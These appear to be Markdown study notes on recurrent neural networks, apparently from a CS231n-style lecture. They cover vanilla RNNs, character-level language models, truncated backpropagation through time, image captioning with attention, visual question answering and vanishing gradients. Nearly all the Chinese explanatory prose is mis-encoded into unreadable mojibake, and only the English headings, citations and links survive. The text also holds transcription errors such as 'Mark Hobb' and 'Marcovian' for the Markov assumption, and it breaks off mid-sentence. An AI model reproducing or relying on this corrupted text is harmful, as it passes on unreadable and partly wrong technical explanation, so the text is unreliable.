ๅนด้‡Œ็œ‹ๅˆฐ็š„ๆœ€ๅคš็š„ไธœ่ฅฟใ€‚้š็€่ถŠๆฅ่ถŠๅคš็š„ๆ–ฐๅฅ‡ๆž„ๆžถ่ขซๅ‘ๆ˜Žๅ‡บๆฅ๏ผŒๆˆ‘ไปฌๅฐ†ไผš็œ‹ๅˆฐๆ›ดๅคš็š„่ฟ›ๆญฅใ€‚\n\n![image-20180902152912957](assets/image-20180902152912957.png)\n\n\n\n\n\n## Recurrent Neural Networks: Process Sequences\n\n![image-20180902153947626](assets/image-20180902153947626.png)\n\n\n\n## Recurrent Neural Networks: Non-Sequence Data\n\n- Classify images by taking a series of โ€œglimpsesโ€\n\n ![LimitedJointLarva-max-1mb](assets/LimitedJointLarva-max-1mb.gif)\n\n > Ba, Mnih, and Kavukcuoglu, โ€œMultiple Object Recognition with Visual Attentionโ€, ICLR 2015. \n >\n > Gregor et al, โ€œDRAW: A Recurrent Neural Network For Image Generationโ€, ICML 2015 \n\n- Generate images one piece at a time!\n\n ![โ€œDRAW: A Recurrent Neural Network For Image Generation gifโ€็š„ๅ›พ็‰‡ๆœ็ดข็ป“ๆžœ](https://kevinzakka.github.io/assets/rnn/draw2.gif)\n\n ![\"DRAW: A Recurrent Neural Network For Image Generation gif\"็š„ๅ›พ็‰‡ๆœ็ดข็ป“ๆžœ](http://karpathy.github.io/assets/rnn/house_generate.gif)\n\n > Gregor et al, โ€œDRAW: A Recurrent Neural Network For Image Generationโ€, ICML 2015 \n\n\n\n\n\n## Recurrent Neural Network\n\nๆฏไธช RNN ็ฝ‘็ปœ้ƒฝๆœ‰่ฟ™ๆ ทไธ€ไธชๅฐๅฐ็š„ๅพช็Žฏๆ ธๅฟƒๅ•ๅ…ƒ๏ผˆ็ปฟ่‰ฒๅ—๏ผ‰๏ผŒๅฎƒๆŠŠ x ไฝœไธบ่พ“ๅ…ฅ๏ผŒๅฐ†ๅ…ถไผ ๅ…ฅ RNNใ€‚RNN ๆœ‰ไธ€ไธช**ๅ†…้ƒจ้š่—ๆ€๏ผˆinternal hidden state๏ผ‰**๏ผŒ่ฟ™ไธ€้š่—ๆ€ไผšๅœจ RNN ๆฏๆฌก่ฏปๅ–ๆ–ฐ็š„่พ“ๅ…ฅๆ—ถๆ›ดๆ–ฐ๏ผŒ็„ถๅŽ่ฟ™ไธ€ๅ†…้ƒจ้š่—ๆ€ไผšๅฐ†็ป“ๆžœๅ้ฆˆ่‡ณๆจกๅž‹๏ผŒๅฝ“ๆจกๅž‹ไธ‹ไธ€ๆฌก่ฏปๅ–่พ“ๅ…ฅๆ—ถใ€‚้€šๅธธๆฅ่ฏด๏ผŒๆˆ‘ไปฌๆƒณ่ฎฉ RNN ๅœจๆฏไธ€ๆญฅ้ƒฝ่ƒฝ็ป™ๅ‡บ่พ“ๅ‡บ๏ผŒๅ› ๆญคๅฐฑๆœ‰ไบ†่ฟ™ๆ ท็š„ๆจกๅผ๏ผšๅฎƒ่ฏปๅ–่พ“ๅ…ฅ๏ผŒๆ›ดๆ–ฐ้š่—ๆ€๏ผŒๅนถไธ”็”Ÿๆˆ่พ“ๅ‡บใ€‚\n\n![image-20180902162134714](assets/image-20180902162134714.png)\n\n### Vanilla RNN\n\n่ฏปๅ–ๅ‰ไธ€ไธช้š่—ๆ€ๅ’Œๅฝ“ไธ‹็š„่พ“ๅ…ฅๅ€ผ $x_t$๏ผŒ็”Ÿๆˆไธ‹ไธ€ไธช้š่—ๆ€ใ€‚็„ถๅŽๅ’Œไฝ ๆƒณ่ฑกๅพ—ไธ€ๆ ท็ฎ€ๅ•๏ผŒๆˆ‘ไปฌๅ†็”จๆƒ้‡็Ÿฉ้˜ต W x h ๅฐ†ๅ…ถไธŽ่พ“ๅ…ฅ $x_t$ ็›ธไน˜๏ผŒๅฆไธ€ไธชๆƒ้‡็Ÿฉ้˜ต $W_{hh}$ ไธŽๅ‰ไธ€ไธช้š่—ๆ€ $h_{t-1}$ ็›ธไน˜ใ€‚ๆˆ‘ไปฌๅฐ†่ฟ™ไธค้ƒจๅˆ†ๅˆ†ๅˆซๅšไน˜ๆณ•ๅ†็›ธๅŠ ๏ผŒ็„ถๅŽ็”จ tanh ๅ‡ฝๆ•ฐๅฐ†็ป“ๆžœ็ผฉๆ”พ่‡ณ -1 ่‡ณ 1 ไน‹้—ด๏ผŒ่ฟ™ๆ ท็ณป็ปŸไธญๅฐฑๅผ•ๅ…ฅไบ†ไธ€ไบ›้ž็บฟๆ€งๅ…ƒ็ด ใ€‚\n\n![image-20180902163033254](assets/image-20180902163033254.png)\n\nไธบๅ•ฅ่ฟ™้‡Œ็”จ tanh ๅ‘ข๏ผŒ่€Œไธๆ˜ฏ็”จๅ…ถไป–้ž็บฟๆ€งๅ‡ฝๆ•ฐๅ‘ข๏ผŸๅ›ž็ญ”๏ผšๆ€ฅไป€ไนˆ๏ผŸไธ”ๅฌไธ‹ๆ–‡ใ€‚ใ€‚ใ€‚ใ€‚\n\nๅœจๆญคๆžถๆž„ไธญ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๆƒณๅœจๆฏไธ€ๆญฅๆ—ถ้ƒฝ็”Ÿๆˆ $y_t$๏ผŒๅฏ่ƒฝ้œ€่ฆๅฆๅค–ไธ€ไธชๆƒ้‡็Ÿฉ้˜ต W ๆฅๆŽฅๅ—่ฟ™ไธ€้š่—ๆ€๏ผŒ็„ถๅŽๅฐ†ๅ…ถ่ฝฌๆขไธบๆŸไธช y๏ผŒๆฏไธ€ๆญฅ้ƒฝ็”Ÿๆˆ๏ผŒไพ‹ๅฆ‚ๅˆ†็ฑป่ฏ„ๅˆ†็š„้ข„ๆต‹ใ€‚\n\n\n\n### Computational Graph\n\nๅ€ผๅพ—ๆณจๆ„็š„ๆ˜ฏ๏ผš็›ธๅŒ็š„ Wใ€‚ใ€‚ใ€‚ใ€‚\n\n- Many to Many\n\n ![image-20180902164653643](assets/image-20180902164653643.png)\n\n- Many to One\n\n ![image-20180902164716764](assets/image-20180902164716764.png)\n\n- One to Many\n\n ![image-20180902164741489](assets/image-20180902164741489.png)\n\n- Sequence to Sequence: Many-to-one + one-to-many\n\n ![image-20180902165002311](assets/image-20180902165002311.png)\n\n [Sutskever et al, โ€œSequence to Sequence Learning with Neural Networksโ€, NIPS 2014]\n\n\n\n### Example: Character-level Language Model\n\nVocabulary: [h, e, l, o]; \n\nExample training sequence: \"**hello**\"\n\n- Training:\n\n![](https://i.loli.net/2018/09/02/5b8bed5a9fd4b.png)\n\n- Testing\n\n - At test-time sample characters one at a time, feed back to model\n\n ![](https://i.loli.net/2018/09/02/5b8bedb845b6d.png)\n\n - Q๏ผšไธบไป€ไนˆๆˆ‘ไปฌไธๆ˜ฏ่พ“ๅ‡บไธ€ไธชๅพ—ๅˆ†ๆœ€้ซ˜็š„ๅญ—ๆฏ๏ผŸ\n - ๅ› ไธบๆˆ‘ไปฌๅŸบไบŽ็š„ๆ˜ฏๅญ—ๆฏ็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒๅ›พ๏ผŒๆ‰€ๆœ‰ๆˆ‘ไปฌไธๅฏ่ƒฝๅพ—ๅˆฐๆญฃ็กฎ็š„ๅญ—ๆฏ๏ผŒๅ› ๆญคๆˆ‘ไปฌ้€š่ฟ‡้‡‡ๆ ทๆฅ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜ใ€‚ไฝ†ๆ˜ฏๅœจๅฎž้™…ไธญ๏ผŒไฝ ๆœ‰ๆ—ถไธค่€…้ƒฝไผš็œ‹ๅˆฐใ€‚ๆ‰€ไปฅไฝ ไผš้€‰ๅ–ๆฆ‚็Ž‡ๆœ€ๅคง็š„ๅญ—ๆฏ๏ผŒ่€Œ่ฟ™็งๆ–นๆณ•ๆœ‰ๆ—ถไผšๆ›ด็จณๅฎšไธ€ไบ›๏ผŒไฝ†ๆ˜ฏไธ€่ˆฌๆฅ่ฏด๏ผŒsoftmax ๆ–นๆณ•็š„ไธ€ไธชไผ˜ๅŠฟๅœจไบŽๅฎƒๅฏไปฅ่ฎฉไฝ ็š„ๆจกๅž‹่พ“ๅ‡บ็ป“ๆžœๅคšๆ ทๅŒ–๏ผŒๆฏ”ๅฆ‚ไฝ ็š„ๆจกๅž‹ๅฏ่ƒฝๆœ‰็›ธๅŒ็š„่พ“ๅ…ฅ๏ผˆ็›ธๅŒ็š„ๅ‰็ผ€๏ผ‰๏ผŒๆˆ–่€…ๅœจๅ›พๅƒๆ ‡ๆณจๆ—ถไฝฟ็”จ็›ธๅŒ็š„ๅ›พๅƒ๏ผŒไฝ†ๆ˜ฏๅฆ‚ๆžœไฝ ไฝฟ็”จๆฆ‚็Ž‡ๅˆ†ๅธƒ่€Œไธๆ˜ฏ้€‰ๆ‹ฉๅพ—ๅˆ†ๆœ€ๅคง็š„๏ผŒ้‚ฃไนˆไฝ ไผšๅ‘็Žฐ่ฟ™ไบ›่ฎญ็ปƒๆจกๅž‹ๅฎž้™…ไธŠๅฏไปฅไบง็”Ÿๅคš็ป„ไธๅŒ็ฑปๅž‹็š„ๅˆ็†็š„่พ“ๅ‡บๅบๅˆ—๏ผŒ่ฟ™ๅ–ๅ†ณไบŽไป–ไปฌๅœจ็ฌฌไธ€ไธชๆ—ถ้—ดๆญฅไธญ็š„ๆ ทๆœฌใ€‚่ฟ™ๅฎž้™…ไธŠๆ˜ฏไธ€ไธชๅฅฝๅค„๏ผŒๅ› ไธบๆˆ‘ไปฌ็š„่พ“ๅ‡บ็ป“ๆžœๆ›ดๅŠ ๅคšๆ ทๅŒ–ไบ†ใ€‚\n - Q๏ผšๅœจๆต‹่ฏ•้˜ถๆฎต๏ผŒๆˆ‘ไปฌๆ˜ฏๅฆๅฏไปฅ่พ“ๅ…ฅๆ•ดไธช softmax ๅ‘้‡๏ผŒ่€Œไธๆ˜ฏไธ€ไธช one-hot ๅ‘้‡๏ผŸ\n - ่ฟ™ๅญ˜ๅœจไธคไธช้—ฎ้ข˜ใ€‚็ฌฌไธ€ไธช้—ฎ้ข˜ๆ˜ฏ่ฟ™ไธŽ่ฎญ็ปƒ้˜ถๆฎตๆ‰€ไฝฟ็”จ็š„ๆ•ฐๆฎไธๅŒใ€‚ไธ€่ˆฌๆฅ่ฏด๏ผŒๅฆ‚ๆžœไฝ ่ฎฉ่ฎญ็ปƒๅฅฝๅŽ็š„ๆจกๅž‹ๅœจๆต‹่ฏ•้˜ถๆฎตๅŽปๅšไธ€ไบ›ไธŽ่ฎญ็ปƒ้˜ถๆฎตไธๅŒ็š„ไปปๅŠก๏ผŒ้‚ฃไนˆๆจกๅž‹ไผšไบง็”Ÿไธ€ไบ›ๅๅทฎ๏ผŒๅฎƒ้€šๅธธไผš่พ“ๅ‡บไธ€ไบ›ๆ— ็”จ็š„ไฟกๆฏ๏ผŒไฝ ไนŸไผšไธบๆญคๆ„Ÿๅˆฐๆฒฎไธงใ€‚ๅฆไธ€ไธช้—ฎ้ข˜ๆ˜ฏๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒๆˆ‘ไปฌ็š„่ฏๅบ“ๅฏ่ƒฝ้žๅธธๅคง๏ผŒ่€Œๅœจๆˆ‘ไปฌๅˆšๅˆš่ฎฒ็š„็ฎ€ๅ•ๅฎžไพ‹ไธญ่ฏๅบ“้‡Œๅชๆœ‰ๅ››ไธชๅ…ƒ็ด ๏ผˆๅญ—ๆฏ๏ผ‰๏ผŒๆ‰€ไปฅ่ฟ™ไธช้—ฎ้ข˜็š„่ง„ๆจกไธๅคง๏ผŒไฝ†ๆ˜ฏๅฆ‚ๆžœไฝ ๆƒณไธ€ๆฌก่พ“ๅ‡บ่‹ฅๅนฒไธชๅ•่ฏ๏ผŒ้‚ฃไนˆไฝ ็š„่ฏๅบ“ๅฐฑๆ˜ฏ่‹ฑ่ฏญไธญๆ‰€ๆœ‰็š„ๅ•่ฏ๏ผŒ่€Œ่ฟ™ๅฏ่ƒฝไผšๆœ‰ๆ•ฐไปฅไธ‡่ฎก็š„ๅ…ƒ็ด ใ€‚ๆ‰€ไปฅๅœจๅฎž้™…ไธญ๏ผŒไนฆ้‡Œ one-hot ๅ‘้‡็š„้ฆ–้€‰้€šๅธธไฝฟ็”จ็จ€็–ๅ‘้‡๏ผŒ่€Œไธๆ˜ฏ็”จๅฏ†้›†ๅ‘้‡ใ€‚ๅฆ‚ๆžœไฝ ๆƒณๅŠ ่ฝฝ 10,000 ไธชๅ…ƒ็ด ็š„ softmax ๅ‘้‡๏ผŒๅœจ่ฎก็ฎ—ๆ—ถ้—ดไธŠๅฏ่ƒฝไผšๆฏ”่พƒ้•ฟใ€‚ๆ‰€ไปฅ่ฟ™ๅฐฑๆ˜ฏไธบไป€ไนˆๆˆ‘ไปฌ้€šๅธธไฝฟ็”จ one-hot ๅ‘้‡๏ผŒ็”š่‡ณๅœจๆต‹่ฏ•้˜ถๆฎตใ€‚\n\n\n\n- ๆฒฟๆ—ถ้—ด็š„ๆˆชๆ–ญๅๅ‘ไผ ๆ’ญๆ–นๆณ•๏ผˆtruncated backpropagation through time๏ผ‰ \n\n - **Problem**: Forward through entire sequence to compute loss, then backward through entire sequence to compute gradient.\n - **Solution**: Run forward and backward through <u>chunks</u> of the sequence instead of whole sequence\n\n ๅณไฝฟๆˆ‘ไปฌ่พ“ๅ…ฅ็š„ๅบๅˆ—ๅพˆ้•ฟๅพˆ้•ฟ๏ผŒ็”š่‡ณ่ถ‹่ฟ‘ไบŽๆ— ้™๏ผŒๆˆ‘ไปฌ้‡‡็”จ็š„ๆ–นๆณ•ๆ˜ฏ๏ผŒๅœจ่ฎญ็ปƒๆจกๅž‹ๆ—ถๅ‰ๅ‘่ฎก็ฎ—่‹ฅๅนฒๆญฅ๏ผŒๆฏ”ๅฆ‚ๅคงๆฆ‚100่ฟ™ๆ ท็š„ๆ•ฐ็›ฎ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆˆ‘ไปฌๅฏ่ƒฝไผšๅ‰ๅ‘่ฎก็ฎ—100ๆญฅๅญๅบๅˆ—็š„ๆŸๅคฑๅ€ผ๏ผŒ็„ถๅŽๆฒฟ็€่ฟ™ไธชๅญๅบๅˆ—ๅๅ‘ไผ ๆ’ญ่ฏฏๅทฎ๏ผŒๅนถ่ฎก็ฎ—ๆขฏๅบฆๆ›ดๆ–ฐๅ‚ๆ•ฐใ€‚็Žฐๅœจๅฝ“ๆˆ‘ไปฌ้‡ๅคไธŠ่ฟฐ่ฟ‡็จ‹๏ผŒไป็„ถไผšๅพ—ๅˆฐ็ฝ‘็ปœไธญ็š„ไธ€ไบ›้š่—็Šถๆ€๏ผŒ้‚ฃไนˆๆˆ‘ไปฌไปŽ็ฌฌไธ€ๆ‰นๆ•ฐๆฎไธญ่ฎก็ฎ—ๅพ—ๅˆฐ็š„ใ€‚็Žฐๅœจๅฝ“ๆˆ‘ไปฌ่ฎก็ฎ—ไธ‹ไธ€ๆ‰นๆ•ฐๆฎๆ—ถ๏ผŒๆˆ‘ไปฌไฝฟ็”จ่ฟ™ไบ›้š่—็Šถๆ€๏ผŒๆ‰€ไปฅๅ‰ๅ‘่ฎก็ฎ—่ฟ‡็จ‹ๆ˜ฏ็›ธๅŒ็š„๏ผŒไฝ†ๆ˜ฏ็Žฐๅœจๅฝ“ๆˆ‘ไปฌๅŸบไบŽไธ‹ไธ€ๆ‰นๆ•ฐๆฎ่ฎก็ฎ—ๆขฏๅบฆๆ—ถ๏ผŒๆˆ‘ไปฌๅช่ƒฝๆ นๆฎ็ฌฌไบŒๆ‰นๆ•ฐๆฎๅๅ‘ไผ ๆ’ญ่ฏฏๅทฎใ€‚็Žฐๅœจๆˆ‘ไปฌๅŸบไบŽๆฒฟๆ—ถ้—ด็š„ๆˆชๆ–ญๅๅ‘ไผ ๆ’ญๆณ•่ฎก็ฎ—ไธ€ๆฌกๆขฏๅบฆใ€‚่ฟ™ไธช่ฟ‡็จ‹ไผšๆŒ็ปญๅˆฐๆˆ‘ไปฌไฝฟ็”จไธ‹ไธ€ๆ‰นๆ•ฐๆฎ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌไผšๅคๅˆถ่ฟ™ไบ›้š่—ๅฑ‚็š„็Šถๆ€ๅ€ผ๏ผŒไฝ†ๆ˜ฏๅ‰ๅ‘่ฎก็ฎ—ๅ’Œๅๅ‘ไผ ๆ’ญ้ƒฝๅชๆ˜ฏๆŒ็ปญไธ€ๅฎšๆ•ฐ้‡็š„ๆ—ถ้—ดๆญฅใ€‚![](https://i.loli.net/2018/09/02/5b8bf3ae9de5e.png)\n\n - Q๏ผš่ฟ™็งๆ–นๆณ•ๆ˜ฏๅœจๅš Mark Hobb ๅ‡่ฎพไนˆ๏ผŸ\n - ไธๆ˜ฏ็š„ใ€‚ๅ› ไธบๆˆ‘ไปฌๅœจๆฒฟ็€ๆ—ถ้—ดไฝฟ็”จ่ฟ™ไบ›้š่—ๅฑ‚็š„็Šถๆ€ๅ€ผ๏ผŒ่ฟ™ๆ˜ฏๅœจๅš Marcovian ๅ‡่ฎพ๏ผŒไปŽๆŸ็งๆ„ไน‰ไธŠๆฅ่ฏด๏ผŒ่ฟ™ๆ˜ฏๅฏน้š่—็Šถๆ€็š„ๅ‡่ฎพ๏ผŒไฝ†ๆ˜ฏ่ฟ™ไธช้š่—็Šถๆ€ๆ˜ฏๆˆ‘ไปฌ็”จๆฅ้ข„ๆต‹ๅบๅˆ—็š„ๆœชๆฅๅ€ผใ€‚ไฝ†ๆ˜ฏ่ฟ™ไธชๅ‡่ฎพไปŽไธ€ๅผ€ๅง‹ๆ˜ฏๅŸบไบŽ้€’ๅฝ’็ฅž็ป็ฝ‘็ปœ็š„่ฎก็ฎ—ๅ…ฌๅผ๏ผŒๆฒฟๆ—ถ้—ดๅๅ‘ไผ ๆ’ญๅนถไธ็‰นๆฎŠใ€‚ๆฒฟๆ—ถ้—ดๆˆชๆ–ญๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•ๅชๆ˜ฏไธ€็ง่ฟ‘ไผผไผฐ่ฎกๆขฏๅบฆ็š„ๆ–นๆณ•๏ผŒ่ฟ™็งๆ–นๆณ•ไธ็”จๅๅ‘ไผ ๆ’ญ้ๅŽ†ๆœฌๆฅ้žๅธธ้•ฟ็š„ๅบๅˆ—ใ€‚\n\n\n\nๅฌไธŠๅŽปๅพˆๅคๆ‚ๆ˜ฏไนˆ๏ผŸๅ…ถๅฎžไปฃ็ ๅพˆ็ฎ€ๆด๏ผš(112่กŒ) https://gist.github.com/karpathy/d4dee566867f8291f086\n\n่ฟ˜ๆœ‰ไธชๆœ‰่ถฃ็š„ไพ‹ๅญๆ˜ฏๅญฆไธ€ๆœฌไปฃๆ•ฐๆ‹“ๆ‰‘็š„ๆ•ฐๅญฆไนฆ๏ผŒๆฅ่‡ช๏ผšhttps://stacks.math.columbia.edu\n\nๆŽฅไธ‹ๆฅ็š„ๆœ‰่ถฃไพ‹ๅญๅ’Œ paper ้ƒฝๅœจ้˜้‡Š่ฟ™ๆ ทไธ€ไธชไบ‹ๅฎž๏ผš\n\n> ๅฐฝ็ฎกๆˆ‘ไปฌๅœจ่ฏ•็€่ฎญ็ปƒ้ข„ๆต‹ไธ‹ไธ€ไธชๅญ—็ฌฆ็š„ๆจกๅž‹๏ผŒไฝ†ๅฎƒๆœ€็ปˆไผšๅญฆๅˆฐๅพˆๅคšๅ…ถไป–ๅ…ณไบŽ่พ“ๅ…ฅๆ•ฐๆฎ็š„็ป“ๆž„็š„ไธœ่ฅฟใ€‚\n>\n> Karpathy, Johnson, and Fei-Fei: Visualizing and Understanding Recurrent Networks, ICLR Workshop 2016\n\n\n\n## Image Captioning\n\nๆญคๅค„ๅฏๅผ•็”จไธ€ๆ‰น papers๏ผš\n\n> Explain Images with Multimodal Recurrent Neural Networks, Mao et al. \n>\n> Deep Visual-Semantic Alignments for Generating Image Descriptions, Karpathy and Fei-Fei \n>\n> Show and Tell: A Neural Image Caption Generator, Vinyals et al. \n>\n> Long-term Recurrent Convolutional Networks for Visual Recognition and Description, Donahue et al. \n>\n> Learning a Recurrent Visual Representation for Image Caption Generation, Chen and Zitnick\n\n![](https://i.loli.net/2018/09/02/5b8bfb450e34c.png)\n\n ## Image Captioning with Attention\n\nๆญคๅค„็š„ paper๏ผš\n\n> Xu et al, โ€œShow, Attend, and Tell: Neural Image Caption Generation with Visual Attentionโ€, ICML 2015 \n\n![](https://i.loli.net/2018/09/02/5b8bfcb2cce67.png)\n\n\n\n## Visual Question Answering: RNNs with Attention\n\nๆญคๅค„็š„ papers๏ผš\n\n> Agrawal et al, โ€œVQA: Visual Question Answeringโ€, ICCV 2015 \n>\n> Zhu et al, โ€œVisual 7W: Grounded Question Answering in Imagesโ€, CVPR 2016 \n\n![](https://i.loli.net/2018/09/02/5b8bfd6578706.png)\n\n\n\n\n\n### Multilayer RNNs\n\n![](https://i.loli.net/2018/09/02/5b8bfe5d1c2e4.png)\n\n\n\n### Vanilla RNN Gradient Flow\n\nๆญคๅค„ๆœ‰ไธค็ฏ‡ papers๏ผš\n\n> Bengio et al, โ€œLearning long-term dependencies with gradient descent is difficultโ€, IEEE Transactions on Neural Networks, 1994 \n>\n> Pascanu et al, โ€œOn the difficulty of training recurrent neural networksโ€, ICML 2013\n\nๆŽฅไธ‹ๆฅ่ฆ่ฏดๆธ…ๆฅš็š„ๆ˜ฏ๏ผšๅœจๆˆ‘ไปฌ่ฎญ็ปƒๅฎƒไปฌ็š„ๆ—ถๅ€™๏ผŒ่ฟ™ไบ›ๆจกๅž‹ไผšๅ‘็”Ÿไป€ไนˆ๏ผŸ\n\n่ฟ™้‡Œๆˆ‘ไปฌๅฐ† $x_t$ ไฝœไธบๅฝ“ๅ‰ๆ—ถ้—ดๆญฅ็š„่พ“ๅ…ฅ๏ผŒๅนถไธ”่พ“ๅ…ฅๅ‰ไธ€ไธช้š่—็Šถๆ€ $h_{t-1}$๏ผŒ็„ถๅŽๅฐ†่ฟ™ไธคไธชๅ‘้‡ๅ †ๅ ่ตทๆฅ๏ผŒๆˆ‘ไปฌๅฏไปฅๅชๆŠŠไป–ไปฌๅ †ๅœจไธ€่ตท๏ผŒไน‹ๅŽๅฐ†ๅฎƒไธŽๆƒ้‡็Ÿฉ้˜ตๅš็Ÿฉ้˜ตไน˜ๆณ•ๆฅๅพ—ๅˆฐไธ€ไธช่พ“ๅ‡บ๏ผŒๅ†ๅฐ†่พ“ๅ‡บ้€ๅ…ฅ tanh ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒ่ฟ™ๅฐฑๅพ—ๅˆฐไธ‹ไธ€ไธช้š่—็Šถๆ€๏ผŒ่ฟ™ๅฐฑๆ˜ฏ Vanilla ้€’ๅฝ’็ฅž็ป็ฝ‘็ปœ็š„ๅŸบๆœฌๅ‡ฝๆ•ฐๅฝขๅผใ€‚\n\n![image-20180903133910877](assets/image-20180903133910877.png)\n\n็Žฐๅœจๆˆ‘ไปฌ้œ€่ฆ่€ƒ่™‘็š„ๆ˜ฏๅฝ“ๆˆ‘ไปฌๅฐ่ฏ•่ฎก็ฎ—ๆขฏๅบฆๆ—ถ๏ผŒๅๅ‘ไผ ๆ’ญๅœจ่ฟ™ไธช็ป“ๆž„ไธญๅฆ‚ไฝ•่ฟ›่กŒใ€‚ๆ‰€ไปฅๅœจๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ไธญ๏ผŒๆˆ‘ไปฌไผšๅพ—ๅˆฐ $h_t$ ็š„ๅฏผๆ•ฐ๏ผŒไปฅๅŠๅ…ณไบŽ $h_t$ ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅฏผๆ•ฐ๏ผŒๅœจๅๅ‘ไผ ๆ’ญ้€š่ฟ‡่ฟ™ไธชๅ•ๅ…ƒๆ—ถ๏ผŒๆˆ‘ไปฌ้œ€่ฆ่ฎก็ฎ—ๅ…ณไบŽ $h_{t-1}$ ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅฏผๆ•ฐใ€‚ๅฝ“ๆˆ‘ไปฌ่ฎก็ฎ—ๅๅ‘ไผ ๆ’ญๆ—ถ๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐๆขฏๅบฆๆฒฟ็€่ฟ™ๆก็บข่‰ฒ็š„่ทฏ็บฟๆ–นๅ‘ๆตๅŠจใ€‚ๅ› ๆญค๏ผŒๆขฏๅบฆไผšๅๅ‘ๆต่ฟ‡ tanh ้—จ๏ผŒ็„ถๅŽไผšๅๅ‘ๆต่ฟ‡็Ÿฉ้˜ตไน˜ๆณ•้—จใ€‚ ๅœจไฝœไธšไธญๆˆ‘ไปฌไผš็œ‹ๅˆฐๅœจๅฎž็Žฐ่ฟ™ไบ›็Ÿฉ้˜ตไน˜ๆณ•็š„ๅฑ‚ๆ—ถ๏ผŒๅฝ“ๅๅ‘ไผ ๆ’ญๆต่ฟ‡่ฟ™ไธช็Ÿฉ้˜ตไน˜ๆณ•้—จๆ—ถ๏ผŒๆœ€ๅŽๅฎž้™…ไฝฟ็”จๆƒ้‡็Ÿฉ้˜ต็š„่ฝฌ็ฝฎๆฅๅš็Ÿฉ้˜ตไน˜ๆณ•ใ€‚่ฟ™ๆ„ๅ‘ณ็€ๆฏๆฌกๅๅ‘ไผ ๆ’ญ็ป่ฟ‡ๅ…ถไธญไธ€ไธช Vanilla ๅœฐๆŽจ็ฅž็ป็ฝ‘็ปœๅ•ๅ…ƒๆ—ถ๏ผŒๅฎž้™…ๆ˜ฏๅ’Œ้ƒจๅˆ†ๆƒ้‡็Ÿฉ้˜ต็›ธไน˜ใ€‚\n\n็Žฐๅœจไฝ ๅฏไปฅ่ฎพๆƒณๆˆ‘ไปฌๆŠŠ่ฎธๅคš้€’ๅฝ’็ฅž็ป็ฝ‘็ปœๅ•ๅ…ƒ่ฟžๆŽฅๆˆไธ€ไธชๅบๅˆ—๏ผŒๅ› ไธบ่ฟ™ๆ˜ฏไธ€ไธช้€’ๅฝ’็ฅž็ป็ฝ‘็ปœ๏ผŒๆˆ‘ไปฌๆƒณ่ฆ็š„ๆ˜ฏไธ€ไธชๆจกๅž‹ๅบๅˆ—๏ผŒไฝ ๅฏไปฅ่ฎพๆƒณๆขฏๅบฆๆต็ฉฟ่ฟ‡ไธ€็ณปๅˆ—่ฟ™ๆ ท็š„ๅฑ‚ๆ—ถไผšๅ‘็”Ÿไป€ไนˆใ€‚ไน‹ๅŽไผšๆœ‰ไธ€ไบ›ไธๅฏนๅŠฒ็š„ไบ‹ๆƒ…ๅ‘็”Ÿ๏ผŒๅ› ไธบๅฝ“ๆˆ‘ไปฌ่ฎก็ฎ—ๅ…ณไบŽ $h_0$ ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆๆ—ถ๏ผŒๅๅ‘ไผ ๆ’ญ้œ€่ฆ็ป่ฟ‡้€’ๅฝ’็ฅž็ป็ฝ‘็ปœไธญ็š„ๆฏไธ€ไธชๅ•ๅ…ƒใ€‚ๆฏๆฌกๅๅ‘ไผ ๆ’ญ็ป่ฟ‡ไธ€ไธชๅ•ๅ…ƒๆ—ถ๏ผŒ้ƒฝ่ฆไฝฟ็”จๅ…ถไธญๆŸไธ€ไธช W ็š„่ฝฌ็ฝฎใ€‚่ฟ™ๆ„ๅ‘ณ็€ๆœ€็ปˆ็š„่กจ่พพๅผๅฏน $h_0$ ็š„ๆขฏๅบฆ็š„่กจ่พพๅผ๏ผŒๅฐ†ไผšๅŒ…ๅซๅพˆๅคšๅพˆๅคšๆƒ้‡็Ÿฉ้˜ตๅ› ๅญ๏ผŒ่ฟ™ๅฐ†ไผšๅพˆ็ณŸ็ณ•ใ€‚ๆˆ–่ฎธไฝ ๅฏไปฅไธ่€ƒ่™‘็Ÿฉ้˜ตๆƒ้‡๏ผŒไฝ†ๅ‡ๅฆ‚ๆˆ‘ไปฌ่€ƒ่™‘ๆ ‡้‡๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๆœ‰ไธ€ไบ›ๆ ‡้‡ๆˆ‘ไปฌไธๆ–ญๅœฐๅฐ†ๅŒไธ€ไธชๆ•ฐๅ€ผๅšไน˜ๆณ•ไธๆ–ญ็›ธไน˜๏ผŒๅฏ่ƒฝๅฏนๅ››ไธชๆ—ถ้—ดๆญฅๆฒก้—ฎ้ข˜๏ผŒไฝ†ๅฏนไบŽๆœ‰ไธ€็™พๆˆ–ๅ‡ ็™พไธชๆ—ถ้—ดๆญฅ็š„ๆƒ…ๅ†ต๏ผŒ่ฟ™ๆ ทไธๆ–ญๅฏนๅŒไธ€ไธชๅ€ผๅšไน˜ๆณ•ๆ˜ฏ้žๅธธ็ณŸ็ณ•็š„ใ€‚ๅœจๆ 